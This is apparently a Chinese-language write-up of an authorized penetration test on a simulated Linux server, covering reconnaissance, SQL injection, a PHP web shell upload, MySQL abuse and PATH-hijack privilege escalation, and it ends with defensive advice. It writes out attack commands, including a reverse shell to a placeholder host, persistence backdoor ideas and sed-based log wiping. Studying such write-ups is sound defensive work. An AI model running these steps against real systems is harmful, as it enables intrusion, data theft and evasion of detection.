
1. 一次典型的内部网络渗透测试复盘最近在复盘一个内部授权的安全评估项目代号“reven2”。这并非一个真实的外部攻击案例而是一次在完全受控环境下针对模拟生产环境的服务器进行的渗透测试演练。整个过程从外部信息收集开始逐步深入最终获取了目标服务器的最高权限。今天我就把这个过程拆解开来聊聊其中涉及的技术点、踩过的坑以及一些在真实防御中值得注意的地方。无论你是刚入门的安全爱好者还是负责运维想了解攻击者视角的工程师希望这篇复盘能给你带来一些实操层面的启发。这次测试的目标是一台对外提供Web服务的Linux服务器模拟了一个中小型企业常见的业务场景。我们的目标是在授权范围内尽可能像一名真实的攻击者那样找到进入系统的路径并评估其可能造成的业务影响。整个流程大致遵循了标准的渗透测试方法论信息收集、漏洞探测、漏洞利用、权限提升和痕迹清理。下面我们就按这个顺序一步步来看。2. 前期踩点与信息收集一切始于“看见”渗透测试的第一步永远不是直接上工具狂轰滥炸而是安静地、细致地收集一切公开信息。这就像侦探破案前的现场勘查信息越全面后续的路径就越清晰。2.1 被动信息收集不惊动目标的侦察我们首先从被动信息收集开始。所谓“被动”就是只利用公开渠道的信息不与目标服务器发生直接交互避免触发告警。域名与IP关联分析我们拿到了目标的域名比如reven2.demo.com。通过一些在线工具或命令行如dig、nslookup我们解析出其对应的公网IP地址。接着我们反查这个IP上是否绑定了其他域名。有时候一个IP可能承载多个业务系统某个不起眼的子域名或测试站点其安全防护可能比主站薄弱得多这就能成为突破口。子域名枚举这是关键一步。我们使用了像subfinder、amass这样的工具结合字典对demo.com进行子域名爆破。结果发现了一个dev.reven2.demo.com和一个test.reven2.demo.com。通常开发dev和测试test环境的安全策略和生产环境prod不一致可能存在未修复的漏洞或弱口令。历史记录与代码仓库我们搜索了GitHub、GitLab等公开代码托管平台看是否有员工误将包含密码、API密钥、内部架构图的代码仓库设置为公开。虽然在这个模拟案例中没有直接发现但这在真实场景中是一个极高危的风险点。我们还检查了站点的历史快照如通过Wayback Machine看看旧版本网页是否泄露了敏感信息比如后台登录地址、接口文档等。注意被动信息收集的边界很重要。只能收集完全公开的信息任何尝试登录、爆破、扫描未公开目录的行为都不属于“被动”范畴必须在获得明确授权后才能进行。2.2 主动信息收集与目标的初次“接触”在被动信息勾勒出大致轮廓后我们开始进行有限的主动探测。此时我们已与目标IP建立了连接。端口扫描与服务识别这是重头戏。我们使用Nmap进行扫描。但绝不是简单的nmap -A target_ip。为了平衡效率和隐蔽性我们采用了分阶段策略快速扫描nmap -sS -T4 -F target_ip。使用SYN半开放扫描-sS快速扫描最常见的100个端口-F。全端口扫描针对上一步发现开放端口的主机进行更全面的扫描nmap -sS -T4 -p- target_ip。-p-表示扫描所有65535个端口。服务版本探测对开放的端口进行细致的服务和版本探测nmap -sV -sC -O -p [开放端口列表] target_ip。-sV探测服务版本-sC使用默认脚本进行更深入的探测可能触发告警需谨慎-O尝试识别操作系统。 扫描结果显示目标服务器假设IP为 192.168.1.100开放了以下几个关键端口22/tcpSSH服务。版本显示为 OpenSSH 7.6p1。80/tcpHTTP服务。运行着 Apache 2.4.29。443/tcpHTTPS服务。同样为 Apache。3306/tcpMySQL数据库。这是内部服务通常不应对外但这里模拟了配置错误的情况。8080/tcp另一个HTTP服务运行着一个 Java 应用可能是 Jenkins、Tomcat 管理后台等。Web应用指纹识别针对80和443端口我们使用whatweb或浏览器插件如 Wappalyzer来识别Web技术栈比如前端框架jQuery、Vue、后端语言PHP版本、中间件Apache模块、CMS如WordPress版本等。这里发现主站是一个基于ThinkPHP 5.0.x 的定制应用。目录与文件枚举使用gobuster或dirsearch等工具对Web根目录进行字典爆破寻找隐藏的目录、备份文件、配置文件等。常用字典如common.txt,directory-list-2.3-medium.txt。gobuster dir -u http://reven2.demo.com -w /usr/share/wordlists/dirb/common.txt -t 50这个步骤发现了/admin后台登录入口、/upload文件上传点、/phpinfo.php一个不应存在的测试文件以及/backup.zip网站备份文件严重失误。信息收集阶段到此我们已经有了一个清晰的攻击面清单一个ThinkPHP应用、一个可能的管理后台、一个开放的MySQL、一个未知的8080端口服务以及一个泄露的备份文件。3. 漏洞探测与利用寻找那扇未关好的门手握信息清单我们开始验证其中可能存在的安全隐患。攻击路径往往不是一条直线而是需要多尝试、多组合。3.1 Web入口突破从备份文件到代码审计首先处理那个唾手可得的果实/backup.zip。下载解压后我们获得了网站的全部源代码。这简直是给攻击者开了“上帝视角”。代码审计我们立即开始审计代码重点关注数据库配置文件通常在类似application/database.php或config/database.php中。我们成功找到了MySQL的连接配置用户名reven2_dbuser密码R3v3n22023!一个强密码但泄露了就没意义了。数据库地址是localhost。身份验证逻辑查看用户登录、会话管理的代码寻找逻辑漏洞。例如是否存在密码修改处不验证旧密码、验证码可绕过、越权访问等。反序列化入口ThinkPHP历史上存在过反序列化漏洞我们检查了是否存在接收用户输入并直接进行unserialize()操作的地方。文件上传功能在代码中定位到/upload对应的控制器分析其过滤逻辑。发现它对上传文件的检查仅在前端JavaScript进行后端仅检查了文件MIME类型为image/jpeg或image/png但没有对文件扩展名进行严格校验也没有重命名文件。利用数据库密码虽然3306端口对外但我们可以尝试用得到的密码连接。然而在外部网络直接连接localhost:3306是不通的因为MySQL绑定在127.0.0.1。这个密码的用武之地不在这里但我们先记下。3.2 攻击8080端口服务薄弱的Jenkins接下来探查8080端口。浏览器访问http://192.168.1.100:8080发现是Jenkins控制台版本是 2.346.1。Jenkins是一个强大的CI/CD工具如果配置不当其权限等同于服务器权限。默认口令与弱口令尝试Jenkins默认安装后可能未启用身份验证或者管理员使用了弱口令。我们尝试了常见的默认口令组合admin/admin, jenkins/jenkins等以及弱口令字典但都没有成功。页面上也没有“注册”功能。搜索公开漏洞我们查询了该版本Jenkins的公开漏洞。发现 Jenkins 在较新版本中安全机制较强直接利用远程代码执行RCE漏洞需要一定的前置条件或更高权限。但我们的信息收集显示这台服务器可能运维水平一般从备份文件泄露可看出因此我们尝试另一种思路未授权访问脚本控制台。Groovy脚本执行在某些旧版本或错误配置下Jenkins的“脚本命令行”/script或通过项目构建中的“执行Shell”步骤可能被未授权或低权限用户访问。我们通过目录扫描并未发现可直接访问的/script。但我们在备份的源代码里发现了一个Jenkinsfile用于流水线定义。这提示我们开发团队可能在使用Pipeline。如果我们能控制一个具有构建权限的Job就能执行命令。但目前我们没有Jenkins账户。3.3 主站ThinkPHP应用测试组合拳出击主站是我们重点攻击目标。结合代码审计和黑盒测试SQL注入测试对发现的所有参数GET/POST使用sqlmap进行自动化测试。命令如下sqlmap -u http://reven2.demo.com/user/profile?id1 --batch --level 3 --risk 2经过测试在用户个人资料页面的id参数处发现了基于时间的盲注Time-Based Blind。这证实了应用存在SQL注入漏洞。文件上传绕过我们编写了一个简单的图片马在文件开头加入GIF89a的幻数后面拼接PHP代码?php system($_REQUEST[cmd]);?保存为shell.gif.php。然后通过拦截上传请求使用Burp Suite将Content-Type修改为image/png成功上传到了/uploads/202305/目录。访问这个文件并附加参数?cmdwhoami成功返回了Web服务的运行用户www-data。我们获得了第一个Web Shell。利用SQL注入扩大战果虽然有了Web Shell但权限是www-data受限较多。我们回过头利用SQL注入。使用sqlmap的--os-shell参数尝试直接获取一个交互式shell但失败了可能是因为数据库用户权限不足或存在某些限制。于是我们转向数据窃取sqlmap -u http://reven2.demo.com/user/profile?id1 --batch --dump -D app_db -T users我们成功导出了用户表获得了所有用户的用户名和密码哈希MD5加密。通过在线彩虹表碰撞我们破解了几个弱密码用户的哈希其中有一个是后台管理员admin的密码admin123。3.4 横向移动进入管理后台与数据库现在我们有了两个武器一个低权限Web Shell (www-data) 和一组后台凭证 (admin/admin123)。登录管理后台使用admin/admin123成功登录http://reven2.demo.com/admin。后台功能强大包含文件管理、数据库管理、命令执行用于服务器维护等模块。这相当于拿到了一个更稳定的“官方后门”。通过后台利用数据库密码在后台的“数据库管理”功能中我们找到了一个“SQL命令行”工具。我们尝试用之前从代码中泄露的数据库密码R3v3n22023!连接本地MySQL。成功了我们在Web后台直接拥有了一个MySQL的交互环境用户是reven2_dbuser。数据库提权探索我们检查了MySQL用户的权限SELECT USER(), CURRENT_USER();显示确实是reven2_dbuserlocalhost。执行SHOW GRANTS;发现该用户拥有GRANT ALL PRIVILEGES ON *.*权限这是一个拥有超级权限的数据库用户。在MySQL中高权限数据库用户可以通过函数如sys_exec但需要安装插件或写入特定文件来执行系统命令。我们尝试用SELECT ... INTO OUTFILE向Web目录写入一个PHP文件SELECT ?php system($_GET[c]);? INTO OUTFILE /var/www/html/reven2/shell2.php;但执行失败提示权限错误。原因是数据库进程mysqld的运行用户通常是mysql对Web目录/var/www/html没有写权限。这条路暂时不通。至此我们拥有一个低权限Web Shell、一个高权限的Web后台、一个高权限的数据库连接。但我们的目标是最高的系统权限root。下一步就是权限提升。4. 权限提升从www-data到root在Linux系统中从普通用户如www-data提升到root用户通常有几种路径利用内核漏洞、利用SUID/GUID错误配置的程序、利用以root权限运行的定时任务Cron Jobs、利用环境变量劫持等。4.1 信息收集立足点侦查首先我们从已有的Web Shellwww-data权限收集系统内部信息。系统与内核信息uname -a # 查看内核版本 cat /etc/issue /etc/*-release # 查看系统发行版 cat /proc/version输出显示系统是 Ubuntu 18.04.6 LTS内核版本是 4.15.0-213-generic。用户与权限信息id # 当前用户信息 sudo -l # 检查当前用户能以sudo方式运行哪些命令需要密码 cat /etc/passwd # 查看所有用户 ls -la /home # 查看home目录sudo -l要求输入www-data的密码我们不知道此路暂时不通。进程与服务ps aux | grep root # 查看root运行的进程 systemctl list-units --typeservice --staterunning # 查看运行的服务SUID/GUID文件查找这是提权的经典路径。查找设置了SUID位且属主是root的文件。find / -perm -us -type f 2/dev/null在返回的列表中除了常见的/bin/ping、/bin/su等我们发现了一个不常见的二进制文件/usr/local/bin/log_cleaner。定时任务crontab -l # 查看当前用户的定时任务 ls -la /etc/cron* # 查看系统定时任务目录 cat /etc/crontab发现一个root用户定义的定时任务每分钟以root身份执行一次/usr/local/bin/log_cleaner。4.2 分析提权向量脆弱的自定义脚本/usr/local/bin/log_cleaner同时满足了两个条件1. 设置了SUID位-rwsr-xr-x意味着执行时以文件所有者root的权限运行。2. 被root的cron定时执行。我们检查这个文件ls -la /usr/local/bin/log_cleaner file /usr/local/bin/log_cleaner它是一个ELF可执行文件。我们尝试运行它发现它只是简单地删除/var/log/app/目录下的一些日志文件。下一步我们需要检查它是否有漏洞。检查依赖与环境使用ldd查看其动态链接库使用strings查看其中的字符串。ldd /usr/local/bin/log_cleaner strings /usr/local/bin/log_cleaner | head -30从strings输出中我们看到它内部调用了system(“rm /var/log/app/*.log”)。这是一个危险信号它使用了相对路径rm而不是绝对路径/bin/rm。利用PATH环境变量劫持当程序使用相对命令如rm时系统会在PATH环境变量指定的目录列表中寻找名为rm的可执行文件。如果我们可以控制PATH并让我们自己的恶意rm脚本优先被找到那么当log_cleaner以root权限执行时就会运行我们的脚本。首先确认我们有目录的写权限。我们在/tmp目录下操作www-data用户通常有写权限。创建一个恶意的rm脚本cd /tmp echo #!/bin/bash rm echo /bin/bash -c “/bin/bash -i /dev/tcp/YOUR_IP/YOUR_PORT 01” rm chmod x rm这个脚本会尝试反弹一个shell到我们的攻击机。但更简单直接的方法是设置SUID的bashecho #!/bin/bash rm echo chmod us /bin/bash rm # 让/bin/bash获得SUID位 chmod x rm修改当前会话的PATH环境变量将/tmp放在最前面export PATH/tmp:$PATH然后执行/usr/local/bin/log_cleaner。由于它是SUID root会以root权限运行并在执行system(“rm ...”)时使用我们PATH中的恶意rm脚本。执行后检查/bin/bash的权限ls -la /bin/bash。如果成功会发现-rwsr-xr-x表示bash现在有了SUID位。最后通过bash -p启动一个bash-p参数告诉bash保留有效用户ID即root这样我们就获得了一个root shellbash -p执行id确认显示uid33(www-data) gid33(www-data) euid0(root)我们成功了实操心得这种提权方式在现实中并不少见尤其是在运维人员编写的自定义管理脚本中。防御的关键在于第一所有在脚本中调用的系统命令务必使用绝对路径如/bin/rm。第二严格控制自定义SUID程序的创建并定期审计。第三避免使用system()这类危险函数如果必须使用要对参数进行严格的过滤和校验。4.3 备选方案内核漏洞提权如果上面的方法失败我们会转向内核漏洞。根据收集到的内核版本4.15.0-213我们去搜索公开的漏洞利用代码Exploit。例如著名的DirtyPipeCVE-2022-0847影响内核5.8及以上不适用。我们可能会尝试一些旧的漏洞如OverlayFSCVE-2021-3493等。使用内核漏洞提权通常更直接但风险也更高可能造成系统崩溃在授权测试中需谨慎。我们会先在本地相同版本的环境中测试成功后再在目标上使用。5. 后渗透与痕迹清理善后工作获得root权限后渗透测试并未结束。我们需要评估影响并模拟攻击者可能进行的操作同时也要清理痕迹在授权范围内仅为演示目的。信息收集root视角查看敏感文件如/etc/shadow密码哈希、/root/.bash_historyroot操作历史、/home/*下的用户文件、数据库中的所有数据等。植入持久化后门模拟攻击者可能会做的事情例如在/etc/ssh/sshd_config中添加一个后门用户或允许密码登录。创建一个新的具有sudo权限的用户。在定时任务/etc/crontab中插入一个反向shell的定时任务。替换常用的系统命令如ls、ps为植入后门的版本。安装rootkit在真实测试中需极度谨慎通常不建议除非客户明确要求。清理日志攻击者会尝试抹除自己的活动记录。需要清理的日志包括/var/log/auth.log认证日志记录SSH登录等/var/log/apache2/access.log和error.logWeb访问日志/var/log/syslog~/.bash_history当前用户和root的 清理方法可以是直接删除日志文件但会引起怀疑更隐蔽的是使用sed等工具删除包含自己IP地址或特定时间段的日志行。例如sed -i /192.168.1.50/d /var/log/apache2/access.log # 删除包含攻击者IP的行但要注意现代系统通常配置了日志审计服务如auditd或日志远程传输本地删除可能无效。6. 总结与防御建议复盘整个“reven2”服务器的渗透过程根本原因在于安全漏洞的叠加和纵深防御的缺失。单一的中危漏洞如SQL注入可能无法直接导致沦陷但当它与配置错误备份文件泄露、数据库弱口令/外网暴露、权限问题SUID程序PATH劫持组合在一起时就形成了一条完整的攻击链。给防御方的几点核心建议最小权限原则这是黄金法则。Web应用运行用户如www-data只应拥有其必需的最小权限。数据库用户不应使用root或拥有全局权限应按库、按表授权。服务器上的自定义脚本绝不应设置SUID位如果必须要进行严格的安全审计。输入验证与输出编码对所有用户输入进行严格的校验和过滤使用参数化查询预编译语句彻底杜绝SQL注入。文件上传功能要对文件内容、扩展名、MIME类型进行多重检查并重命名存储。配置安全禁止将源码备份文件、配置文件、日志文件等放置在Web可访问目录。生产环境关闭错误回显如display_errors Off。及时更新系统和应用软件如ThinkPHP、Jenkins、操作系统内核到安全版本。非必要服务如MySQL的3306端口不应暴露在公网。强化认证杜绝弱口令强制使用强密码并定期更换。对管理后台、关键系统如Jenkins启用双因素认证2FA。限制SSH登录禁止root直接登录使用密钥认证替代密码。日志与监控集中收集并监控所有关键日志系统、网络、应用。设置告警规则对异常登录、大量扫描请求、敏感命令执行等行为进行实时告警。定期进行日志审计和安全扫描。定期安全评估最好的防御就是了解攻击。定期聘请专业团队或使用工具进行渗透测试和漏洞扫描主动发现并修复安全隐患而不要等到被真正的攻击者利用。渗透测试的本质是模拟攻击以攻促防。通过复盘这样的过程我们能更深刻地理解防御体系中的薄弱环节在哪里。安全是一个持续的过程没有一劳永逸的解决方案只有将安全意识和最佳实践融入到系统设计、开发、运维的每一个环节才能构建起真正有效的防御纵深。